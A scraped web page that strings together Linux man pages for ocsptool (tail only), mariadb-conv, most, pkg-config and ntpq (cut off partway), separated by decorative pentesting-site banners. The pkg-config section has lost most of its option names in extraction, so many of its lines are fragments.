$ ocsptool -e --load-signer ocsp-signer.pem            --load-response ocsp-response.der

This approach is normally only relevant in two situations. The first is when the OCSP response does not contain a copy of the signer certificate, so the –load-trust code would fail. The second is if you want to avoid the indirect mode where the OCSP response signer certificate is signed by a trust anchor.

Real-world example

Here is an example of how to generate an OCSP request for a certificate and to verify the response. For illustration we’ll use the blog.josefsson.org host, which (as of writing) uses a certificate from CACert. First we’ll use gnutls-cli to get a copy of the server certificate chain. The server is not required to send this information, but this particular one is configured to do so.

$ echo | gnutls-cli -p 443 blog.josefsson.org --save-cert chain.pem

The saved certificates normally contain a pointer to where the OCSP responder is located, in the Authority Information Access Information extension. For example, from certtool -i < chain.pem there is this information:

		Authority Information Access Information (not critical):
			Access Method: 1.3.6.1.5.5.7.48.1 (id-ad-ocsp)
			Access Location URI: https://ocsp.CAcert.org/

This means that ocsptool can discover the servers to contact over HTTP. We can now request information on the chain certificates.

$ ocsptool --ask --load-chain chain.pem

The request is sent via HTTP to the OCSP server address found in the certificates. It is possible to override the address of the OCSP server as well as ask information on a particular certificate using –load-cert and –load-issuer.

$ ocsptool --ask https://ocsp.CAcert.org/ --load-chain chain.pem

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

SEE ALSO

certtool (1)

AUTHORS

COPYRIGHT

Copyright (C) 2020-2023 Free Software Foundation, and others all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later

BUGS

Please send bug reports to: [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

340 - Linux cli command mariadb-conv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-conv and provides detailed information about the command mariadb-conv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-conv.

NAME 🖥️ mariadb-conv 🖥️

conv - character set conversion utility for MariaDB

SYNOPSIS

mariadb-conv [OPTION…] [FILE…]

DESCRIPTION

mariadb-conv is a character set conversion utility for MariaDB.

mariadb-conv supports the following options.

·

**–from=**name, -f name

Specifies the encoding of the input.

·

**–to=**name, -t name

Specifies the encoding of the output.

·

–continue, -c

Silently ignore conversion errors.

·

**–delimiter=**name,

Treat the specified characters as delimiters.

COPYRIGHT

Copyright 2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/en/mariadb-conv/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

341 - Linux cli command most

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command most and provides detailed information about the command most, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the most.

NAME 🖥️ most 🖥️

browse or page through a text file

SYNOPSIS

most [ -1 ] [ -b ] [ -C ] [ -c ] [ -d ] [ -M ] [ -r ] [ -s ] [ -t ] [ -u ] [ -v ] [ -w ] [ -z ] [ **+/**string ] [ **+**line-number ] [ +d ] [ +s ] [ +u ] [ file… ]

DESCRIPTION

most is a paging program that displays, one windowful at a time, the contents of a file on a terminal. It pauses after each windowful and prints on the window status line the screen the file name, current line number, and the percentage of the file so far displayed.

Unlike other paging programs, most is capable of displaying an arbitrary number of windows as long as each window occupies at least two screen lines. Each window may contain the same file or a different file. In addition, each window has its own mode. For example, one window may display a file with its lines wrapped while another may be truncating the lines. Windows may be `locked’ together in the sense that if one of the locked windows scrolls, all locked windows will scroll. most is also capable of ignoring lines that are indented beyond a user specified value. This is useful when viewing computer programs to pick out gross features of the code. See the `:o’ command for a description of this feature.

In addition to displaying ordinary text files, most can also display binary files as well as files with arbitrary ascii characters. When a file is read into a buffer, most examines the first 32 bytes of the file to determine if the file is a binary file and then switches to the appropriate mode. However, this feature may be disabled with the -k option. See the description of the -b, -k, -v, and -t options for further details.

Text files may contain combinations of underscore and backspace characters causing a printer to underline or overstrike. When most recognizes this, it inserts the appropriate escape sequences to achieve the desired effect. In addition, some files cause the printer to overstrike some characters by embedding carriage return characters in the middle of a line. When this occurs, most displays the overstruck character with a bold attribute. This feature facilitates the reading of UNIX man pages or a document produced by runoff. In particular, viewing this document with most should illustrate this behavior provided that the underline characters have not been stripped. This may be turned off with the -v option.

By default, lines with more characters than the terminal width are not wrapped but are instead truncated. When truncation occurs, this is indicated by a `$’ in the far right column of the terminal screen. The RIGHT and LEFT arrow keys may be used to view lines which extend past the margins of the screen. The -w option may be used to override this feature. When a window is wrapped, the character `\ will appear at the right edge of the window.

Commands are listed below.

COLOR SUPPORT

most has supported both 256-color and 24 bit truecolor terminals since version 5.2. Not all terminals are capable of generating arbitrary 24 bit colors. If your terminal supports 24 bit colors, but most does not detect it, then set the environment variable

     COLORTERM=truecolor

to force 24 bit truecolors to be used.

OPTIONS

-1
VT100 mode. This is meaningful only on VMS systems. This option should be used if the terminal is strictly a VT100. This implies that the terminal does not have the ability to delete and insert multiple lines. VT102s and above have this ability.

-b
Binary mode. Use this switch when you want to view files containing 8 bit characters. most will display the file 16 bytes per line in hexadecimal notation. A typical line looks like:

   01000000 40001575 9C23A020 4000168D     [email protected].#. @...

When used with the -v option, the same line looks like:

   ^A^@^@^@  @^@^U u 9C #A0    @^@^V8D     [email protected].#. @...

-C
Disable color support.

-c
Make searches case-sensitive

-d
Omit the backslash mark used to denote a wrapped line.

-M
Disable the use of mmap.

-r
Default to using regexp searches

-s
Squeeze-mode. Replace multiple blank lines with a single blank line.

-t
Display tabs as ^I. If this option is immediately followed by an integer, the integer sets the tab width, e.g., -t4

-u
Disable UTF-8 mode even if the locale dictates it

+u
Force UTF-8 mode. By default most will use the current locale to determine if UTF-8 mode should be used. The +u and -u switches allow the behavior to be overridden

-v
Display control characters as in `^A’ for control A. Normally most does not interpret control characters.

-w
Wrap lines

-z
Disable gunzip-on-the-fly

**+/**string
Start up at the line containing the first occurrence of string

**+**lineno
Start up at the specified line-number

+d
This switch should only be used if you want the option to delete a file while viewing it. This makes it easier to clean unwanted files out of a directory. The file is deleted with the interactive key sequence `:D’ and then confirming with `y'.

+s
Secure Mode– no edit, cd, shell, and reading files not already listed on the command line.

COMMAND USAGE

The commands take effect immediately; it is not necessary to type a carriage return. In the following commands, i is a numerical argument (1 by default).

SPACE, CTRL-D, NEXT_SCREEN
Display another windowful, or jump i windowfuls if i is specified.

RETURN, DOWN_ARROW, V, CTRL-N
Display another line, or i more lines, if specified.

UP_ARROW, ^, CTRL-P
Display previous line, or i previous lines, if specified.

T, ESCAPE<
Move to top of buffer.

B, ESCAPE>
Move to bottom of buffer.

RIGHT_ARROW, TAB, >
Scroll window left 60i columns to view lines that are beyond the right margin of the window.

LEFT_ARROW, CTRL-B, <
Scroll window right 60i columns to view lines that are beyond the left margin of the window.

U, CTRL-U, DELETE, PREV_SCREEN
Skip back i windowfuls and then print a windowful.

R, CTRL-R
Redraw the window.

J, G
If i is not specified, then prompt for a line number then jump to that line otherwise just jump to line i.

%
If i is not specified, then prompt for a percent number then jump to that percent of the file otherwise just jump to i percent of the file.

W, w
If the current screen width is 80, make it 132 and vice-versa. For other values, this command is ignored.

Q, CTRL-X CTRL-C, CTRL-K E
Exit from most. On VMS, ^Z also exits.

h, CTRL-H, HELP, PF2
Help. Give a description of all the most commands. The most environment variable MOST_HELP must be set for this to be meaningful.

f, /, CTRL-F, FIND, GOLD PF3
Prompt for a string and search forward from the current line for ith distinct line containing the string. CTRL-G aborts.

?
Prompt for a string and search backward for the ith distinct line containing the string. CTRL-G aborts.

n
Search for the next i lines containing an occurrence of the last search string in the direction of the previous search.

m, SELECT, CTRL-@, CTRL-K M, PERIOD
Set a mark on the current line for later reference.

INSERT_HERE, CTRL-X CTRL-X, COMMA, CTRL-K RETURN, GOLD PERIOD
Set a mark on the current line but return to previous mark. This allows the user to toggle back and forth between two positions in the file.

l, L
Toggle locking for this window. The window is locked if there is a `*’ at the left edge of the status line. Windows locked together, scroll together.

CTRL-X 2, CTRL-W 2, GOLD X
Split this window in half.

CTRL-X o, CTRL-W o, o, GOLDUP, GOLDDOWN
Move to other window.

CTRL-X 0, CTRL-W 0, GOLD V
Delete this window.

CTRL-X 1, CTRL-W 1, GOLD O
Delete all other windows, leaving only one window.

E, e
Edit this file.

$, ESC $
This is system dependent. On VMS, this causes most to spawn a subprocess. When the user exits the process, most is resumed. On UNIX systems, most simply suspends itself.

:n
Skip to the next filename given in the command line. Use the arrow keys to scroll forward or backward through the file list. `Q’ quits most and any other key selects the given file.

:c
Toggle case sensitive search.

:D
Delete current file. This command is only meaningful with the +d switch.

:o, :O
Toggle various options. With this key sequence, most displays a prompt asking the user to hit one of: bdtvw. The `b’, `t’, `v’, and `w’ options have the same meaning as the command line switches. For example, the `w’ option will toggle wrapping on and off for the current window.

The `d’ option must be used with a prefix integer i. All lines indented beyond i columns will not be displayed. For example, consider the fragment:

   int main(int argc, char **argv)
   {
     int i;
     for (i = 0; i < argc, i++)
       {
         fprintf(stdout,"%i: %s

“,i,argv[i]); } return 0; }

The key sequence `1:od’ will cause most to display the file ignoring all lines indented beyond the first column. So for the example above, most would display:

   int main(int argc, char **argv)...
   }

where the `…’ indicates lines that follow are not displayed.

HINTS

CTRL-G aborts the commands requiring the user to type something in at a prompt. The back-quote key has a special meaning here. It is used to quote certain characters. This is useful when search for the occurrence of a string with a control character or a string at the beginning of a line. In the latter case, to find the occurrence of `The’ at the beginning of a line, enter `^JThe where ` quotes the CTRL-J.

ENVIRONMENT

most uses the following environment variables:

MOST_SWITCHES
This variable sets commonly used switches. For example, some people prefer to use most with the -s option so that excess blank lines are not displayed. On VMS this is normally done done in the login.com through the line:

   $ define MOST_SWITCHES "-s"

MOST_EDITOR, SLANG_EDITOR
Either of these environment variables specify an editor for most to invoke to edit a file. The value can contain %s and %d formatting descriptors that represent the file name and line number, respectively. For example, if JED is your editor, then set MOST_EDITOR to ‘jed %s -g %d’.

MOST_HELP
This variable may be used to specify an alternate help file.

MOST_INITFILE
Set this variable to specify the initialization file to load during startup. The default action is to load the system configuration file and then a personal configuration file called .mostrc on Unix, and most.rc on other systems.

CONFIGURATION FILE SYNTAX

When most starts up, it tries to read a system configuration file and then a personal configuration file. These files may be used to specify key-bindings and colors.

To bind a key to a particular function use the syntax:

    setkey function-name key-sequence

The setkey command requires two arguments. The function-name argument specifies the function that is to be executed as a response to the keys specified by the key-sequence argument are pressed. For example,

    setkey   "up"     "^P"

indicates that when Ctrl-P is pressed then the function up is to be executed.

Sometimes, it is necessary to first unbind a key-sequence before rebinding it in order via the unsetkey function:

    unsetkey "^F"

Colors may be defined through the use of the color keyword in the the configuration file using the syntax:

    color OBJECT-NAME FOREGROUND-COLOR BACKGROUND-COLOR

Here, OBJECT-NAME can be any one of the following items:

     status           -- the status line
     underline        -- underlined text
     overstrike       -- overstruck text
     normal           -- anything else

See the sample configuration files for more information.

BUGS

Almost all of the known bugs or limitations of most are due to a desire to read and interpret control characters in files. One problem concerns the use of backspace characters to underscore or overstrike other characters. most makes an attempt to use terminal escape sequences to simulate this behavior. One side effect is the one does not always get what one expects when scrolling right and left through a file. When in doubt, use the -v and -b options of most.

The regular-expression searches may fail to find strings that involve backspace/underscore used for highlighting. The regular-expression syntax is described in the S-Lang Library documentation.

AUTHOR

John E. Davis <[email protected]>

ACKNOWLEDGEMENTS

Over the years, many people have contributed to most in one way or another, e.g., via code patches, bug-fixes, comments, or criticisms. I am particularly grateful to the very early adopters of the program who took a chance with a fledgling software project headed by someone learning the underlying language. These include:

Mats Akerberg, Henk D. Davids, Rex O. Livingston, and Mark Pizzolato contributed to the early VMS versions of most. In particular, Mark worked on it to get it ready for DECUS.

Foteos Macrides adapted most for use in cswing and gopher. A few features of the present version of most was inspired from his work.

I am grateful to Robert Mills for re-writing the search routines to use regular expressions.

Sven Oliver Moll came up with the idea of automatic detection of zipped files.

I would also like to thank Shinichi Hama for his valuable criticisms of most.

Javier Kohen was instrumental in the support for UTF-8.

Thanks to David W. Sanderson for adapting the early documentation to nroff man page source format.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

342 - Linux cli command pkg-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkg-config and provides detailed information about the command pkg-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkg-config.

is a program which helps to configure compiler and linker flags for development libraries. This allows build systems to detect other dependencies and use them with the system toolchain.

Display the supported pkg-config version and exit.

Exit with error if we do not support the requested pkg-config version.

Print all errors on the main output stream instead of the error output stream.

Do not display any errors at all.

Walk all directories listed in the

environmental variable and display information on packages which have registered information there.

Simulates resolving a dependency graph based on the requested modules on the command line. Dumps a series of trees denoting pkgconf’s resolver state.

Skip caching packages when they are loaded into the internal resolver. This may result in an alternate dependency graph being computed.

Ignore

rules in modules.

Learn about pkgconf’s configuration strictly from environmental variables.

Validate specific

files for correctness.

Impose a limit on the allowed depth in the dependency graph. For example, a depth of 2 will restrict the resolver from acting on child dependencies of modules added to the resolver’s solution.

Compute a deeper dependency graph and use compiler/linker flags intended for static linking.

Compute a simple dependency graph that is only suitable for shared linking.

Treats the computed dependency graph as if it were pure. This is mainly intended for use with the

flag.

Ignore

rules in modules when resolving dependencies.

Adds a new module search path to pkgconf’s dependency resolver. Paths added in this way are given preference before other paths.

Attempts to determine the prefix variable to use for CFLAGS and LIBS entry relocations. This is mainly useful for platforms where framework SDKs are relocatable, such as Windows.

Disables the

feature.

Sets the

variable used by the

feature.

Relocates a path using the pkgconf_path_relocate API. This is mainly used by the testsuite to provide a guaranteed interface to the system’s path relocation backend.

Disables the path relocation feature.

Exit with error if a module’s version is less than the specified version.

Exit with error if a module’s version is not exactly the specified version.

Exit with error if a module’s version is greater than the specified version.

Exit with a non-zero result if the dependency resolver was unable to find all of the requested modules.

Exit with a non-zero result if the dependency resolver uses an

module as part of its solution.

Forbids the dependency resolver from considering ‘uninstalled’ modules as part of a solution.

Display either all CFLAGS, only

CFLAGS or only CFLAGS that are not

Display either all linker flags, only

linker flags, only

linker flags or only linker flags that are not

or

Keep CFLAGS or linker flag fragments that would be filtered due to being included by default in the compiler.

Define

as

Variables are used in query output, and some modules’ results may change based on the presence of a variable definition.

Print all seen variables for a module to the output channel.

Print all relevant

entries for a module to the output channel.

Print the value of

Print the modules included in either the

field or the

field.

Dump the dependency resolver’s solution as a graphviz

file. This can be used with graphviz to visualize module interdependencies.

Display the filenames of the

files used by the dependency resolver for a given dependency set.

Print the requested values as variable declarations in a similar format as the

command.

Filter the fragment lists for the specified types.

Print the version of the queried module.

List of secondary directories where

files are looked up.

List of primary directories where

files are looked up.

directory, will be prepended to every path defined in

Useful for cross compilation.

Provides an alternative setting for the

global variable.

If set, enables the same behaviour as the

flag.

List of paths that are considered system include paths by the toolchain. This is a pkgconf-specific extension.

List of paths that are considered system library paths by the toolchain. This is a pkgconf-specific extension.

If set, enables the same behaviour as the

flag.

which is used for dumping audit information concerning installed module versions.

If set, enables additional debug logging. The format of the debug log messages is implementation-specific.

If set, disables the path relocation feature.

If set, uses MSVC syntax for fragments.

If set, follow the sysroot prefixing rules that freedesktop.org pkg-config uses.

If set to PKG_CONFIG_SYSROOT_DIR, assume that PKG_CONFIG_FDO_SYSROOT_RULES is set.

Displaying the CFLAGS of a package:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

343 - Linux cli command ntpq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ntpq and provides detailed information about the command ntpq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ntpq.

NAME 🖥️ ntpq 🖥️

standard NTP query program

SYNOPSIS

ntpq [-46adhinpkwWu] [-c command] [host] […]

DESCRIPTION

The ntpq utility program is used to monitor NTP daemon ntpd operations and determine performance. It uses the standard NTP mode 6 control message formats defined in Appendix B of the NTPv3 specification RFC 1305. The same formats are used in NTPv4, although some of the variable names have changed, and new ones added. The description on this page is for the NTPv4 variables.

The program can be run either in interactive mode or controlled using command line arguments. Requests to read and write arbitrary variables can be assembled, with raw and pretty-printed output options being available. It can also obtain and print a list of peers in a common format by sending multiple queries to the server.

If one or more request options are included on the command line when ntpq is executed, each of the requests will be sent to the NTP servers running on each of the hosts given as command line arguments, or on localhost by default. If no request options are given, ntpq will attempt to read commands from the standard input and execute these on the NTP server running on the first host given on the command line, again defaulting to localhost when no other host is specified. ntpq will prompt for commands if the standard input is a terminal device.

ntpq uses NTP mode 6 packets to communicate with the NTP server, and hence can be used to query any compatible server on the network which permits it. Note that since NTP is a UDP protocol this communication will be somewhat unreliable, especially over large distances in terms of network topology. ntpq makes one attempt to retransmit requests and will time requests out if the remote host is not heard from within a suitable timeout time.

Note that in contexts where a host name is expected, a -4 qualifier preceding the host name forces DNS resolution to the IPv4 namespace, while a -6 qualifier forces DNS resolution to the IPv6 namespace.

For examples and usage, see the “NTP <debug.html>Debugging Techniques” page.

For a simpler near-real-time monitor, see ntpmon(1).

OPTIONS

Command line options are described following. Specifying the command line options -c or -p will cause the specified query (queries) to be sent to the indicated host(s) immediately. Otherwise, ntpq will attempt to read interactive format commands from the standard input.

-4, --ipv4

Force DNS resolution of following host names on the command line to the IPv4 namespace.

-6, --ipv6

Force DNS resolution of following host names on the command line to the IPv6 namespace.

-a num, --authentication=num

Enable authentication with the numbered key.

-c cmd, --command=cmd

The following argument is interpreted as an interactive format command and is added to the list of commands to be executed on the specified host(s). Multiple -c options may be given.

-d, --debug

Increase debugging level by 1.

-D num, --set-debug-level=num

The debug level is set to the following integer argument.

-l filename, --logfile=filename

Log debugging output to the specified file.

-h, --help

Print a usage message summarizing options end exit.

-n, --numeric

Output all host addresses in numeric format rather than converting to the canonical host names. You may get hostnames anyway for peers in the initialization phase before DNS has resolved the peer name.

-s, --srcname

Output host addresses by: Names passed to ntpd, then names reverse resolved from addresses and finally, IP addresses themselves

-S, --srcnumber

Output host addresses by: Names passed to ntpd, then IP addresses themselves

-p, --peers

Print a list of the peers known to the server as well as a summary of their state; this is equivalent to the peers interactive command. The refid field is as described under “Event Messages and Status Words” in the NTP documentation on the Web.

-k filename, --keyfile=filename

Specify a keyfile. ntpq will look in this file for the key specified with -a.

-V, --version

Print the version string and exit.

-w, --wide

Wide mode: if the host name or IP Address doesn’t fit, write the full name/address and indent the next line, so columns line up. The default truncates the name or address.

-W num, --width=num

Force the terminal width. Only relevant for composition of the peers display.

-u, --units

Display timing information with units.

INTERNAL COMMANDS

Interactive format commands consist of a keyword followed by zero to four arguments. Only enough characters of the full keyword to uniquely identify the command need be typed. The output of a command is normally sent to the standard output, but optionally the output of individual commands may be sent to a file by appending a >, followed by a file name, to the command line. Some interactive format commands are executed entirely within the ntpq program itself and do not result in NTP mode 6 requests being sent to a server. These are described as following.

? [command_keyword], help [command_keyword]

A ? by itself will print a list of all the command keywords known to ntpq. A ? followed by a command keyword will print function and usage information about the command.

addvars name [ = value] […]; rmvars name […]; clearvars

The arguments to this command consist of a list of items of the form name = value, where the = value is ignored and can be omitted in read requests. ntpq maintains an internal list in which data to be included in control messages can be assembled and sent using the readlist and writelist commands described below. The addvars command allows variables and optional values to be added to the list. If more than one variable is to be added, the list should be comma-separated and not contain white space. The rmvars command can be used to remove individual variables from the list, while the clearlist command removes all variables from the list.

authenticate [yes | no]

Normally ntpq does not authenticate requests unless they are write requests. The command authenticate yes causes ntpq to send authentication with all requests it makes. Authenticated requests causes some servers to handle requests slightly differently. The command authenticate without arguments causes ntpq to display whether or not ntpq is currently authenticating requests.

cooked

Display server messages in prettyprint format.

debug more | less | off

Turns internal query program debugging on and off.

noflake, +doflake probability

Disables or enables the dropping of control packets by ntpq for testing. Probabilities 0 and 1 should be certainly accepted and discarded respectively. No default, but 0.1 should be a one in ten loss rate.

logfile <stderr> | filename

Displays or sets the file for debug logging. <stderr> will send logs to standard error.

delay milliseconds

Specify a time interval to be added to timestamps included in requests which require authentication; this is used to enable (unreliable) server reconfiguration over long delay network paths or between machines whose clocks are unsynchronized. The server does not now require timestamps in authenticated requests so that this command may be obsolete.

exit

Exit ntpq.

host name

Set the host to which future queries will be sent. The name may be either a DNS name or a numeric address.

hostnames [yes | no]

If yes is specified, host names are printed in information displays. If no is specified, numeric addresses are printed instead. The default is yes unless modified using the command line -n switch.

keyid keyid

This command specifies the key number to be used to authenticate configuration requests; this must correspond to a key ID configured with the controlkey command in the server’s ntp.conf

keytype

Specify the digest algorithm to use for authenticated requests, with default MD5. The keytype must match what the server is expecting for the specified key ID.

ntpversion 1 | 2 | 3 | 4

Sets the NTP version number which ntpq claims in packets. Defaults to 2, Note that mode 6 control messages (and modes, for that matter) didn’t exist in NTP version 1.

passwd

This command prompts for a password to authenticate requests. The password must match what the server is expecting. Passwords longer than 20 bytes are assumed to be hex encoding.

quit

Exit ntpq.

raw

Display server messages as received and without reformatting. The only formatting/interpretation done on the data is to transform non-ASCII data into a printable (but barely understandable) form.

timeout milliseconds

Specify a timeout period for responses to server queries. The default is about 5000 milliseconds. Note that since ntpq retries each query once after a timeout, the total waiting time for a timeout will be twice the timeout value set.

units

Toggle whether times in the peers display are shown with units.

version

Print the version of the ntpq program.

CONTROL MESSAGE COMMANDS

Association IDs are used to identify system, peer and clock variables. System variables are assigned an association ID of zero and system name space, while each association is assigned a nonzero association ID and peer namespace. Most control commands send a single mode 6 message to the server and expect a single response message. The exceptions are the peers command, which sends a series of messages, and the mreadlist and mreadvar commands, which iterate over a range of associations.

associations

Display a list of mobilized associations in the form

ind assid status conf reach auth condition last_event cnt

VariableDescription
indindex on this list
assidassociation ID
status
confyes: persistent, no: ephemeral
reachyes: reachable, no: unreachable
authok, yes, bad and none
condition

selection status (see the select field of the

last_event

event report (see the event field of the

status word" )

cnt

event count (see the count field of the

status word" )

authinfo

Display the authentication statistics.

clockvar assocID [name [ = value […] ][…], cv assocID [name [ = value […] ][…]

Display a list of clock variables <#clock> for those associations supporting a reference clock.

:config [...]

Send the remainder of the command line, including whitespace, to the server as a run-time configuration command in the same format as the configuration file. This command is experimental until further notice and clarification. Authentication is of course required.

config-from-file filename

Send each line of filename to the server as run-time configuration commands in the same format as the configuration file. This command is experimental until further notice and clarification. Authentication is required.

ifstats

Display statistics for each local network address. Authentication is required.

iostats

Display network and reference clock I/O statistics.

kerninfo

Display kernel loop and PPS statistics. As with other ntpq output, times are in milliseconds. The precision value displayed is in milliseconds as well, unlike the precision system variable.

lassociations

Perform the same function as the associations command, except display mobilized and unmobilized associations.

lpeers [-4 | -6]

Print a peer spreadsheet for the appropriate IP version(s). dstadr (associated with any given IP version).

monstats

Display monitor facility statistics.

direct

Normally, the mrulist command retrieves an entire MRU report (possibly consisting of more than one MRU span), sorts it, and presents the result. But attempting to fetch an entire MRU report may fail on a server so loaded that none of its MRU entries age out before they are shipped. With this option, each segment is reported as it arrives.

mrulist [limited | kod | mincount=count | mindrop=drop | minscore=score | maxlstint=seconds | minlstint=seconds | laddr=localaddr | sort=sortorder | resany=hexmask | resall=hexmask | limit=limit | addr.num=address]

Obtain and print traffic counts collected and maintained by the monitor facility. This is useful for tracking who uses or abuses your server.

Except for sort=sortorder, the options filter the list returned by ntpd. The limited and kod options return only entries representing client addresses from which the last packet received triggered either discarding or a KoD response. the addr.num= option adds specific addresses to retrieve when limit=1. Values of 0 to 15 are supported for num. Also, used internally with last.num=hextime to select the starting point for retrieving continued response. the frags=frags option limits the number of datagrams (fragments) in response. Used by newer ntpq versions instead of limit= when retrieving multiple entries. The limit= option limits the MRU entries returned per response. limit=1 is a special case: Instead of fetching beginning with the supplied starting points (provided by a last.x and addr.x where 0 ⇐ x ⇐ 15, default the beginning of time) newer neighbor, fetch the supplied entries. This enables fetching multiple entries from given IP addresses (provided by addr.x= entries where 0 ⇐ x ⇐ 15). When limit is not one and frags= is provided, the fragment limit controls. NOTE: a single mrulist command may cause many query/response rounds allowing limits as low as 3 to potentially retrieve thousands of entries in responses. The mincount=count option filters out entries that have received less than count packets. The mindrop=drop option filters out entries that have dropped less than drop packets. The minscore=score option filters out entries with a score less than score. The maxlstint=seconds option filters out entries where no packets have arrived within seconds. The minlstint=seconds option filters out entries with a packet has arrived within seconds. The laddr=localaddr option filters out entries for packets received on any local address other than localaddr. resany=hexmask and resall=hexmask filter entries containing none or less than all, respectively, of the bits in hexmask, which must begin with 0x.

The sortorder defaults to lstint and may be any of addr, count, avgint, lstint, score, drop or any of those preceded by a minus sign (hyphen) to reverse the sort order. The output columns are:

ColumnDescription
lstintInterval in s between the receipt of the most recent packet from this address and the completion of the retrieval of the MRU list by ntpq.
avgintAverage interval in s between packets from this address.
rstrRestriction flags associated with this address. Most are copied unchanged from the matching restrict command, however 0x400 (kod) and 0x20 (limited) flags are cleared unless the last packet from this address triggered a rate control response.
rRate control indicator, either a period, L or K for no rate control response, rate limiting by discarding, or rate limiting with a KoD response, respectively.
mPacket mode.
vPacket version number.
countPackets received from this address.
scorePackets per second (averaged with exponential decay).
dropPackets dropped (or KoDed) from this address.
rportSource port of last packet from this address.
remote addressDNS name, numeric address, or address followed by claimed DNS name which could not be verified in parentheses.

